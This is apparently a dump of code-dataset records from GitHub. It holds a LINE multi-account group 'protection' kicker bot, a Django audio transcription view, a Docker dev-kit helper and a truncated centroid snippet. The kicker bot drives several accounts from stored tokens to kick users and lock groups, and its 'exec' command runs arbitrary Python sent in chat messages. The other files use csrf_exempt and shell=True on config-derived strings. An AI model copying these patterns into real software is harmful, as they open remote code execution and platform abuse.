LINE(tokens[\"Sub2\"],type=\"IOSIPAD\")\nyukino_4 = LINE(tokens[\"Sub3\"],type=\"IOSIPAD\")\nyukino_5 = LINE(tokens[\"Sub4\"],type=\"IOSIPAD\")\n\ndb = sqlite3.connect(\"protect.db\", check_same_thread=False)\ntracer = HooksTracer(yukino_1,prefix=[\"／\",\"/\",\"!\",\"?\",\".\",\"#\"],db=db)\ntracer.bots = [yukino_1, yukino_2, yukino_3, yukino_4, yukino_5]\ntracer.kickers = [yukino_2, yukino_3, yukino_4, yukino_5]\ntracer.botMids = [b.getProfile().mid for b in tracer.bots]\ntracer.kickerMids = [k.getProfile().mid for k in tracer.kickers]\ntracer.helptext = helpText\n\nclass OpPs(object):\n @tracer.Operation(26)\n def OPERATION_MESSAGE(self,cl,op):\n msg = op.message\n self.trace(msg,\"Content\")\n @tracer.Content(0)\n def CONTENT_MESSAGE(self,cl,msg):\n self.log(\"[MESSAGE] \"+msg.text)\n self.trace(msg,\"Command\")\n \n @tracer.Operation(19)\n def NOTIFIED_KICKOUT_FROM_GROUP(self,cl,op):\n self.log(\"NOTIFIED_KICKOUT_FROM_GROUP\")\n gid = op.param1\n kicker = op.param2\n gotban = op.param3\n try:\n if self.getGroup(gid,\"normalProtect\"):\n if kicker not in self.kickerMids\\\n and kicker not in self.getPermissionByName(\"White\")\\\n and kicker not in self.getPermissionByName(\"Admin\"):\n self.kk_kick(gid,gotban,kicker)\n self.kk_invite(gid,gotban,kicker)\n elif gotban in self.botMids:\n self.kk_invite(gid,gotban,kicker)\n except Exception as error:\n print(error)\n \n @tracer.Operation(13)\n def NOTIFIED_INVITE_INTO_GROUP(self,cl,op):\n self.log(\"NOTIFIED_INVITE_INTO_GROUP\")\n gid = op.param1\n inviter = op.param2\n got_inv = op.param3\n try:\n if cl.mid in got_inv:\n if inviter in self.getPermissionByName(\"White\")\\\n or inviter in self.getPermissionByName(\"Admin\"):\n cl.acceptGroupInvitation(gid)\n for k in self.kickers:\n try:\n cl.inviteIntoGroup(gid, k.mid)\n k.acceptGroupInvitation(gid)\n except:\n pass\n cl.sendMessage(op.param1,\"こんにちは! 私はグループ保護Botです。\\nコマンド一覧は '/ヘルプ' で確認できます。\")\n elif self.getGroup(gid,\"normalProtect\")\\\n and (inviter not in self.getPermissionByName(\"White\")\\\n or inviter in self.getPermissionByName(\"Admin\")):\n gotinvs = got_inv.split(\"\u001e\")\n for b in gotinvs:\n cl.cancelGroupInvitation(gid, b)\n except Exception as error:\n print(error)\n\n @tracer.Operation(11)\n def NOTIFIED_UPDATE_GROUP(self,cl,op):\n self.log(\"NOTIFIED_UPDATE_GROUP\")\n gid = op.param1\n usr = op.param2\n ctp = op.param3\n try:\n #グループ名変更\n if ctp == \"1\":\n gr = cl.getGroup(gid)\n if self.getGroup(gid,\"protectGroupName\"):\n if usr not in self.botMids\\\n and usr not in self.getPermissionByName(\"White\")\\\n and usr not in self.getPermissionByName(\"Admin\"):\n gr.name = self.getGroup(gid,\"groupName\")\n cl.updateGroup(gr)\n self.postGroup(gid,\"groupName\",gr.name)\n #グループ画変更\n elif ctp == \"2\":\n if self.getGroup(gid,\"protectGroupImage\"):\n if usr not in self.botMids\\\n and usr not in self.getPermissionByName(\"White\")\\\n and usr not in self.getPermissionByName(\"Admin\"):\n cl.updateGroupPicture(gid,\"./%s.jpg\"%(gid))\n #グループURL変更\n elif ctp == \"4\":\n if self.getGroup(gid,\"protectGroupUrl\"):\n if usr not in self.botMids\\\n and usr not in self.getPermissionByName(\"White\")\\\n and usr not in self.getPermissionByName(\"Admin\"):\n gr = cl.getGroup(gid)\n if gr.preventedJoinByTicket:\n gr.preventedJoinByTicket = False\n else:\n gr.preventedJoinByTicket = True\n cl.updateGroup(gr)\n self.kk_kick(gid,None,usr)\n else:\n print(ctp)\n except Exception as error:\n print(error)\n\nclass CmdPs(object):\n @tracer.Command()\n def mid(self,cl,msg):\n cl.replyMessage(msg,msg._from)\n \n @tracer.Command(sources=[\"Group\"])\n def gid(self,cl,msg):\n cl.replyMessage(msg,msg.to)\n \n @tracer.Command(sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def さよなら(self,cl,msg):\n cl.replyMessage(msg,\"さよなら :/\")\n for b in self.bots:\n b.leaveGroup(msg.to)\n \n @tracer.Command(ignoreCase=True,alt=[\"help\",\"?\",\"へるぷ\"])\n def ヘルプ(self,cl,msg):\n cl.replyMessage(msg, self.helptext)\n \n @tracer.Command()\n def 権限(self,cl,msg):\n cl.replyMessage(msg, \"あなたは以下の権限を持っています\\n\"+(\"\\n\".join(self.getPermissionById(msg._from))))\n \n @tracer.Command(sources=[\"Group\"])\n def グル情報(self,cl,msg):\n group = cl.getGroup(msg.to)\n md = \"[グループ名]:\\n\"+group.name+\"\\n\\n\"\n md += \"[gid]:\\n\"+group.id+\"\\n\\n\"\n md += \"[アイコン画像]:\\n\"+\"http://dl.profile.line-cdn.net/\"\n md += group.pictureStatus+\"\\n\"\n if group.preventedJoinByTicket:\n md += \"招待URLから参加: 拒否\\n\"\n else:\n md += \"招待URLから参加: 許可\\n\"\n md += \"メンバー数: \" + str(len(group.members)) + \"人\\n\"\n if group.invitee is None:\n md += \"招待中: 0人\\n\"\n else:\n md += \"招待中: \" + str(len(group.invitee)) + \"人\\n\"\n if self.getGroup(msg.to,\"normalProtect\"):\n md += \"保護: オン\\n\"\n else:\n md += \"保護: オフ\\n\"\n if self.getGroup(msg.to,\"protectGroupUrl\"):\n md += \"保護URL: オン\\n\"\n else:\n md += \"保護URL: オフ\\n\"\n if self.getGroup(msg.to,\"protectGroupName\"):\n md += \"保護グル名: オン\\n\"\n else:\n md += \"保護グル名: オフ\\n\"\n if self.getGroup(msg.to,\"protectGroupImage\"):\n md += \"保護 グループ画像: オン\\n\"\n else:\n md += \"保護 グループ画像: オフ\\n\"\n cl.replyMessage(msg, md)\n \n @tracer.Command(sources=[\"Group\"],inpart=True,permissions=[\"Admin\",\"White\"])\n def ホワリス追加(self,cl,msg):\n mts = self.getMention(msg.contentMetadata)\n added = \"\"\n for m in mts:\n if \"White\" not in cl.getPermissionById(m):\n self.addPermission(m,\"White\")\n added += cl.getContact(m).displayName + \"\\n\"\n if added != \"\":\n cl.replyMessage(msg, \"%s\\nこれらのユーザーをホワイトリストに追加しました\"%(added))\n else:\n cl.replyMessage(msg, \"メンションされたユーザーは既にホワイトリストに入っています\")\n \n @tracer.Command(sources=[\"Group\"],inpart=True,permissions=[\"Admin\"])\n def ホワリス削除(self,cl,msg):\n mts = self.getMention(msg.contentMetadata)\n removed = \"\"\n for m in mts:\n if \"White\" in cl.getPermissionById(m):\n self.removePermission(m,\"White\")\n removed += cl.getContact(m).displayName + \"\\n\"\n if removed != \"\":\n cl.replyMessage(msg, \"%s\\nこれらのユーザーをホワイトリストから削除しました\"%(removed))\n else:\n cl.replyMessage(msg, \"メンションされたユーザーは既にホワイトリストに入っていません\")\n \n @tracer.Command(sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護オン(self,cl,msg):\n if not self.getGroup(msg.to,\"normalProtect\"):\n self.postGroup(msg.to,'normalProtect',True)\n cl.replyMessage(msg, \"保護機能を有効にしました。\")\n else:\n cl.replyMessage(msg, \"保護機能はすでに有効になっています。\")\n \n @tracer.Command(sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護オフ(self,cl,msg):\n if self.getGroup(msg.to,\"normalProtect\"):\n self.postGroup(msg.to,'normalProtect',False)\n cl.replyMessage(msg, \"保護機能を解除しました。\")\n else:\n cl.replyMessage(msg, \"保護機能はすでに無効になっています。\")\n \n @tracer.Command(alt=[\"保護グル名オン\"],sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護名前オン(self,cl,msg):\n if not self.getGroup(msg.to,\"protectGroupName\"):\n self.postGroup(msg.to,'protectGroupName',True)\n self.postGroup(msg.to,'groupName',cl.getGroup(msg.to).name)\n cl.replyMessage(msg, \"グループ名の保護機能を有効にしました。\")\n else:\n cl.replyMessage(msg, \"グループ名の保護機能はすでに有効になっています。\")\n \n @tracer.Command(alt=[\"保護グル名オフ\"],sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護名前オフ(self,cl,msg):\n if self.getGroup(msg.to,\"protectGroupName\"):\n self.postGroup(msg.to,'protectGroupName',False)\n cl.replyMessage(msg, \"グループ名の保護機能を解除しました。\")\n else:\n cl.replyMessage(msg, \"グループ名の保護機能はすでに無効になっています。\")\n \n @tracer.Command(alt=[\"保護グル画オン\"],sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護画像オン(self,cl,msg):\n if not self.getGroup(msg.to,\"protectGroupImage\"):\n gp = cl.getGroup(msg.to).pictureStatus\n resp = requests.get(\"http://dl.profile.line-cdn.net/\"+gp)\n with open(msg.to+\".jpg\",\"wb\") as f:\n f.write(resp.content)\n self.postGroup(msg.to,\"protectGroupImage\",True)\n cl.replyMessage(msg, \"グループ画像の保護機能を有効にしました。\")\n else:\n cl.replyMessage(msg, \"グループ画像の保護機能はすでに有効になっています。\")\n \n @tracer.Command(alt=[\"保護グル画オフ\"],sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護画像オフ(self,cl,msg):\n if self.getGroup(msg.to,\"protectGroupImage\"):\n self.postGroup(msg.to,\"protectGroupImage\",False)\n cl.replyMessage(msg, \"グループ画像の保護機能を解除しました。\")\n else:\n cl.replyMessage(msg, \"グループ画像の保護機能はすでに無効になっています。\")\n \n @tracer.Command(alt=[\"保護うあるオン\"],ignoreCase=True,sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護URLオン(self,cl,msg):\n if not self.getGroup(msg.to,\"protectGroupUrl\"):\n self.postGroup(msg.to,'protectGroupUrl',True)\n cl.replyMessage(msg, \"保護機能を有効にしました。\")\n else:\n cl.replyMessage(msg, \"保護機能はすでに有効になっています。\")\n \n @tracer.Command(alt=[\"保護うあるオフ\"],ignoreCase=True,sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 保護URLオフ(self,cl,msg):\n if self.getGroup(msg.to,\"protectGroupUrl\"):\n self.postGroup(msg.to,'protectGroupUrl',False)\n cl.replyMessage(msg, \"グループurlの保護機能を無効にしました。\")\n else:\n cl.replyMessage(msg, \"グループurlの保護機能はすでに無効になっています。\")\n \n @tracer.Command(alt=[\"招待うある許可\"],ignoreCase=True,sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 招待URL許可(self,cl,msg):\n gr = cl.getGroup(msg.to)\n if gr.preventedJoinByTicket:\n gr.preventedJoinByTicket = False\n cl.updateGroup(gr)\n cl.replyMessage(msg, \"招待URLからの参加を許可にしました。\")\n else:\n cl.replyMessage(msg, \"既に許可されています。\")\n\n @tracer.Command(alt=[\"招待うある拒否\"],ignoreCase=True,sources=[\"Group\"],permissions=[\"Admin\",\"White\"])\n def 招待URL拒否(self,cl,msg):\n gr = cl.getGroup(msg.to)\n if not gr.preventedJoinByTicket:\n gr.preventedJoinByTicket = True\n cl.updateGroup(gr)\n cl.replyMessage(msg, \"招待URLからの参加を拒否にしました。\")\n else:\n cl.replyMessage(msg, \"既に拒否されています。\")\n \nclass AdminCmdPs(object):\n @tracer.Command(permissions=[\"Admin\"],alt=[\"exec\"],inpart=True)\n def execute_message(self,cl,msg):\n '''Execute Message as Python Script'''\n with open(\"temp.txt\",\"w\") as t:\n sys.stdout = t\n try:\n exec(msg.text.replace(self.getPrefix(msg.text)+\"exec\",\"\"))\n except:\n print(traceback.format_exc())\n sys.stdout = sys.__stdout__\n with open(\"temp.txt\",\"r\") as r:\n cl.replyMessage(msg,r.read())\n\ntracer.addClass(FuncPs())\ntracer.addClass(OpPs())\ntracer.addClass(CmdPs())\ntracer.addClass(AdminCmdPs())\ntracer.run()", "repo_name": "Dosugamea/scriptkiddie-nano", "sub_path": "販売保護キッカー５.py", "file_name": "販売保護キッカー５.py", "file_ext": "py", "file_size_in_byte": 14218, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.loads", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 8, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "LineApi.hooks.HooksTracer", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 244, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 301, "usage_type": "attribute"}, {"api_name": "sys.stdout", "line_number": 306, "usage_type": "attribute"}, {"api_name": "sys.__stdout__", "line_number": 306, "usage_type": "attribute"}]} {"seq_id": "6678147568", "text": "from io import BytesIO\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom pydub import AudioSegment\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport tempfile\nimport os\nfrom django.conf import settings \nimport soundfile as sf\n\n\nfrom core.logic import audio_to_text\n\n# Create your views here.\n\ndef index(request):\n return render(request, \"realindex.html\")\n\n\ndef mp3_to_flac(mp3_path, output_flac_path):\n audio = AudioSegment.from_mp3(mp3_path)\n temp_wav_path = 'temp.wav'\n audio.export(temp_wav_path, format='wav')\n pcm_audio, sample_rate = sf.read(temp_wav_path)\n sf.write(output_flac_path, pcm_audio, samplerate=sample_rate, subtype='FLAC')\n os.remove(temp_wav_path)\n\n@csrf_exempt\ndef processAudio(request):\n try:\n if request.method == 'POST':\n audio_file = request.FILES.get('audio')\n\n # Determine the path to the \"resources\" folder\n resources_folder = os.path.join(settings.BASE_DIR, 'resources')\n\n # Create the folder if it doesn't exist\n if not os.path.exists(resources_folder):\n os.makedirs(resources_folder)\n\n # Save the uploaded MP3 file to the \"resources\" folder\n mp3_path = os.path.join(resources_folder, 'temp.mp3')\n with open(mp3_path, 'wb') as f:\n for chunk in audio_file.chunks():\n f.write(chunk)\n\n # Convert the MP3 to FLAC\n flac_path = os.path.join(resources_folder, 'temp.flac')\n mp3_to_flac(mp3_path, flac_path)\n\n # You can now process the converted FLAC file\n text = audio_to_text('resources/temp.flac')\n print(text)\n \n # Load and play the MP3 file\n #mixer.music.load(mp3_path)\n #mixer.music.play()\n except Exception as e:\n print(e)\n\n \n\n\ndef processAudio1(request):\n if request.method == \"POST\":\n # Retrieve the audio data from the POST request\n audio_data = request.FILES.get(\"audio\")\n # Process the audio data (e.g., save it to a file, analyze, etc.)\n # Here, we'll just print the size of the audio data\n if audio_data:\n # Load the audio blob using pydub\n audio_data = AudioSegment.from_file(BytesIO(audio_data.read()))\n flac_audio = audio_data.export(format=\"\")\n text = audio_to_text(flac_audio)\n print(\"Text:_____:\", text)\n return aboutUS(request)\n\ndef aboutUS(request):\n return render(request,'about_us.html')\n\ndef contactUS(request):\n return render(request,'contact_us.html')\ndef blogPost(request):\n return render(request,'blog.html')\n\ndef google(request):\n audio =request.POST.get(\"audio\")\n text = audio_to_text(audio)\n if text:\n return HttpResponseRedirect(\"https://www.google.com\")", "repo_name": "Great1-Azed/voice-chat-assistant", "sub_path": "core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2886, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 18, "usage_type": "call"}, {"api_name": "pydub.AudioSegment.from_mp3", "line_number": 22, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 22, "usage_type": "name"}, {"api_name": "soundfile.read", "line_number": 25, "usage_type": "call"}, {"api_name": "soundfile.write", "line_number": 26, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.conf.settings.BASE_DIR", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "core.logic.audio_to_text", "line_number": 53, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 29, "usage_type": "name"}, {"api_name": "pydub.AudioSegment.from_file", "line_number": 73, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 73, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 73, "usage_type": "call"}, {"api_name": "core.logic.audio_to_text", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 80, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 85, "usage_type": "call"}, {"api_name": "core.logic.audio_to_text", "line_number": 89, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 91, "usage_type": "call"}]} {"seq_id": "16970187008", "text": "import argparse\nimport json\nimport os\nimport subprocess\nimport sys\nfrom ddkcore.parser import DdkParser\n\n\nclass Kit(object):\n\n __app_description = 'Docker Development Kit'\n __app_name = 'ddk'\n __commands = {}\n __help_message = \"Show this help message and exit.\"\n __parser = None\n __subparsers = None\n __working_directory = None\n\n def __init__(self, conf, app_version, terminal, exe_path):\n self.__app_version = app_version\n self.__config = None\n self.__default_config = conf\n self.__exe_path = exe_path\n self.__terminal = terminal\n\n def __configure_commands(self):\n for cmd_name in self.__commands.keys():\n command = self.get_command(cmd_name)\n command.configure()\n parser_config = dict(help=command.description, add_help=False, conflict_handler=\"resolve\")\n parser = self.__subparsers.add_parser(cmd_name, **parser_config)\n self.add_default_arguments(parser)\n if command.has_sub_commands():\n command.configure_sub_commands(parser)\n else:\n command.configure_parser(parser)\n parser.set_defaults(cmd_callback=command)\n\n if len(command.usage) > 0:\n parser.usage = self.__commands[cmd_name].usage\n\n def __detect_working_dir(self):\n terminal = self.get_terminal()\n terminal.output(\"Detection of working directory...\", terminal.VERBOSITY_DEBUG)\n current_dir = os.getcwd()\n file_name = self.__default_config[\"config-name\"]\n result_dir = None\n while result_dir is None and current_dir != \"/\":\n config_file = os.path.abspath(current_dir + \"/\" + file_name)\n terminal.output(\" - \" + config_file, terminal.VERBOSITY_DEBUG)\n if os.path.isfile(config_file):\n result_dir = current_dir\n else:\n current_dir = os.path.abspath(current_dir + \"/..\")\n\n config_file = os.path.abspath(current_dir + \"/\" + file_name)\n if os.path.isfile(config_file):\n result_dir = current_dir\n\n if result_dir is None:\n terminal = self.get_terminal()\n terminal.output(\"Can't find ddk.json file.\")\n terminal.output(\"Run next command if you don't have ddk environment:\\n\")\n terminal.output(\" \" + self.get_name() + \" init\", terminal.VERBOSITY_SILENT, terminal.COLOR_YELLOW)\n sys.exit(1)\n\n result_dir = os.path.abspath(result_dir)\n terminal.output(\"Working directory is \" + result_dir, terminal.VERBOSITY_DEBUG)\n self.set_work_dir(result_dir)\n\n def add_command(self, cmd):\n cmd.set_kit(self)\n self.__commands[cmd.get_name()] = cmd\n\n def add_default_arguments(self, parser):\n quiet_help = \"Operate quietly. This option disables all output.\"\n verbose_help = \"Increases verbosity level. Does not affect if --quiet option is set.\"\n parser.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help=self.__help_message)\n parser.add_argument('-q', '--quiet', action=\"store_true\", help=quiet_help)\n parser.add_argument('-v', '--verbose', action=\"count\", default=0, help=verbose_help)\n parser.add_argument('-d', '--dir', help=\"Set up working directory.\", metavar=\"PATH\")\n\n def call_package_post_install(self, package):\n config = self.get_config()\n package_dir = config[\"packages-dir\"] + \"/\" + package\n package_config_path = package_dir + \"/ddk.json\"\n package_config = self.read_configuration_file(package_config_path)\n if \"ddk-post-install\" in package_config:\n self.get_terminal().output(\"Calling post install commands...\")\n for command in package_config[\"ddk-post-install\"]:\n variables = {\"package_path\": self.get_full_path(package_dir)}\n command = self.resolve_variables(command, **variables)\n self.execute_shell_command(command)\n\n def call_project_init(self, project):\n terminal = self.get_terminal()\n if not self.project_exists(project):\n terminal.output(\"Project \" + project + \" is not installed\", text_format=terminal.COLOR_RED)\n sys.exit(1)\n\n config = self.get_config()\n project_dir = config[\"projects-base-dir\"] + \"/\" + project\n project_config_path = project_dir + \"/\" + config[\"projects-ddk-path\"]\n if os.path.exists(project_config_path):\n project_config = self.read_configuration_file(project_config_path)\n if \"on-init\" in project_config:\n variables = {\n \"project_dir\": project,\n \"project_path\": self.get_full_path(project_dir),\n }\n for command in project_config[\"on-init\"]:\n command = self.resolve_variables(command, **variables)\n terminal.output(\" > \" + command, 0, terminal.COLOR_PURPLE)\n self.execute_shell_command(command)\n\n def ensure_packages_dir(self):\n \"\"\"Make directory for packages if it doesn't exists\"\"\"\n dir_name = self.get_full_path(self.get_config()[\"packages-dir\"])\n if not os.path.exists(dir_name):\n terminal = self.get_terminal()\n terminal.output(\"Ensure packages directory: \" + dir_name, terminal.VERBOSITY_DEBUG)\n os.mkdir(dir_name)\n\n def ensure_projects_dir(self):\n \"\"\"Make directory for projects if it doesn't exists\"\"\"\n config = self.get_config()\n projects_dir = self.get_full_path(config[\"projects-base-dir\"])\n if not os.path.isdir(projects_dir):\n terminal = self.get_terminal()\n terminal.output(\"Make directory for projects: \" + projects_dir, terminal.VERBOSITY_DEBUG)\n os.makedirs(projects_dir)\n\n def execute_shell_command(self, command):\n terminal = self.get_terminal()\n terminal.output(\" > \" + command, terminal.VERBOSITY_VERBOSE, terminal.COLOR_PURPLE)\n subprocess.call(command, shell=True)\n\n def get_command(self, name):\n return self.__commands[name]\n\n def get_config(self, with_user=True):\n if not with_user:\n return self.__default_config\n\n if self.__config is None:\n user_config_path = self.get_work_dir() + \"/\" + self.__default_config[\"config-name\"]\n if os.path.exists(user_config_path):\n user_config = self.read_configuration_file(user_config_path)\n else:\n user_config = {}\n\n kit_configuration = self.__default_config.copy()\n kit_configuration.update(user_config)\n self.__config = kit_configuration\n\n return self.__config\n\n def get_exe_path(self):\n return self.__exe_path\n\n def get_full_path(self, path):\n if path.startswith(\"/\"):\n return path\n\n return self.get_work_dir() + \"/\" + path\n\n def get_list_of_packages(self):\n terminal = self.get_terminal()\n packages = []\n config = self.get_config()\n packages_dir = config[\"packages-dir\"]\n full_packages_dir = self.get_full_path(packages_dir)\n terminal.output(\"Scanning \" + full_packages_dir, terminal.VERBOSITY_DEBUG)\n if os.path.isdir(packages_dir):\n terminal.output(\"Scan the packages directory: \" + full_packages_dir, terminal.VERBOSITY_DEBUG)\n for package in os.listdir(full_packages_dir):\n if os.path.isdir(full_packages_dir + \"/\" + package):\n packages.append(package)\n\n return packages\n\n def get_list_of_projects(self):\n \"\"\"Scan the project directory to get list of available projects\"\"\"\n config = self.get_config()\n projects = []\n projects_dir = self.get_full_path(config[\"projects-base-dir\"])\n if os.path.isdir(projects_dir):\n terminal = self.get_terminal()\n terminal.output(\"Scan the projects directory: \" + projects_dir, terminal.VERBOSITY_DEBUG)\n for project in os.listdir(projects_dir):\n if os.path.isdir(projects_dir + \"/\" + project):\n terminal.output(\" - \" + project, terminal.VERBOSITY_DEBUG)\n projects.append(project)\n\n return projects\n\n def get_name(self):\n return self.__app_name\n\n def get_terminal(self):\n return self.__terminal\n\n def get_version(self):\n return self.__app_version\n\n def get_work_dir(self):\n if self.__working_directory is None:\n self.__detect_working_dir()\n return self.__working_directory\n\n def install_package(self, package):\n config = self.get_config()\n package_dir = self.get_full_path(config[\"packages-dir\"] + \"/\" + package)\n clone_cmd = \"git clone \" + config[\"package-repo-prefix\"][0] + package + \".git \" + package_dir\n try:\n self.execute_shell_command(clone_cmd)\n self.call_package_post_install(package)\n return True\n except subprocess.CalledProcessError:\n self.get_terminal().output(\"Can't install the package: \" + package, self.get_terminal().COLOR_RED)\n return False\n\n def package_is_installed(self, package):\n \"\"\"Check the package is installed\"\"\"\n dir_name = self.get_full_path(self.get_config()[\"packages-dir\"] + \"/\" + package)\n self.get_terminal().output(\"Check the \" + package + \" exists: \" + dir_name, self.get_terminal().VERBOSITY_DEBUG)\n return os.path.exists(dir_name)\n\n def process(self, args):\n ddk_params = dict(\n prog=self.__app_name,\n description=self.__app_description,\n add_help=False,\n conflict_handler=\"resolve\",\n usage=\"%(prog)s ... [options...]\"\n )\n self.__parser = DdkParser(**ddk_params)\n self.add_default_arguments(self.__parser)\n\n self.__subparsers = self.__parser.add_subparsers(dest=\"command\", metavar=\"\", title=\"Available commands\")\n self.__configure_commands()\n\n args = self.__parser.parse_args(args)\n\n terminal = self.get_terminal()\n verbosity = args.verbose\n if args.quiet:\n verbosity = terminal.VERBOSITY_QUIET\n terminal.set_verbosity(verbosity)\n\n command = args.cmd_callback\n del args.cmd_callback\n del args.command\n\n if args.dir:\n self.set_work_dir(args.dir)\n\n command.run(args, terminal)\n\n def project_exists(self, pid):\n \"\"\"Check project ID is valid item of projects list\"\"\"\n return pid in self.get_list_of_projects()\n\n def read_configuration_file(self, file_path):\n terminal = self.get_terminal()\n terminal.output(\"Reading configuration file: \" + self.get_full_path(file_path), terminal.VERBOSITY_DEBUG)\n json_file = open(file_path)\n config = json.load(json_file)\n json_file.close()\n return config\n\n def resolve_variables(self, text, **kwargs):\n \"\"\"Replace variables to passed values\"\"\"\n config = self.get_config()\n variables = {\n \"network_name\": config[\"network-name\"],\n \"packages_path\": self.get_full_path(config[\"packages-dir\"]),\n \"projects_path\": self.get_full_path(config[\"projects-base-dir\"]),\n \"share_path\": self.get_full_path(config[\"share-dir\"]),\n }\n variables.update(kwargs)\n\n text = str(text)\n terminal = self.get_terminal()\n terminal.output(\"Resolving variables for \" + text, terminal.VERBOSITY_DEBUG)\n for var_name, var_value in variables.iteritems():\n text = str.replace(text, \"${\" + str.upper(var_name) + \"}\", str(var_value))\n terminal.output(\" > \" + text, terminal.VERBOSITY_DEBUG)\n return text\n\n def set_work_dir(self, work_dir):\n self.__working_directory = work_dir\n os.chdir(work_dir)\n", "repo_name": "simbigo/ddk", "sub_path": "ddkcore/kit.py", "file_name": "kit.py", "file_ext": "py", "file_size_in_byte": 11956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getcwd", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "argparse.SUPPRESS", "line_number": 78, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path", "line_number": 128, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 131, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "subprocess.CalledProcessError", "line_number": 219, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path", "line_number": 227, "usage_type": "attribute"}, {"api_name": "ddkcore.parser.DdkParser", "line_number": 237, "usage_type": "call"}, {"api_name": "json.load", "line_number": 268, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 293, "usage_type": "call"}]} {"seq_id": "31136418250", "text": "# coding=utf-8\r\nimport numpy as np\r\n\r\n#An example of centroid distance, based on pytorch1.9\r\n\r\ndef cal_Cmass(data):\r\n '''\r\n input:data(ndarray):数据样本\r\n output:mass(ndarray):数据样本质心\r\n '''\r\n Cmass = np.mean(data,axis=0)\r\n return Cmass\r\n\r\ndef distance(x, y, p=2):\r\n '''\r\n 